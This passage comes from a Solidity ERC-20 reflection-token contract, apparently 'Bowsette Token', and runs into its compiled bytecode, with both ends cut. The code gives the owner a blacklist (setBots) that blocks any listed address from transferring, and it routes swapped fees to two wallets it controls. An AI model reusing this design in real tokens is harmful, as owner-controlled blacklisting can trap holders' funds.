_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f426f77736574746520546f6b656e000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f424f57534554efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff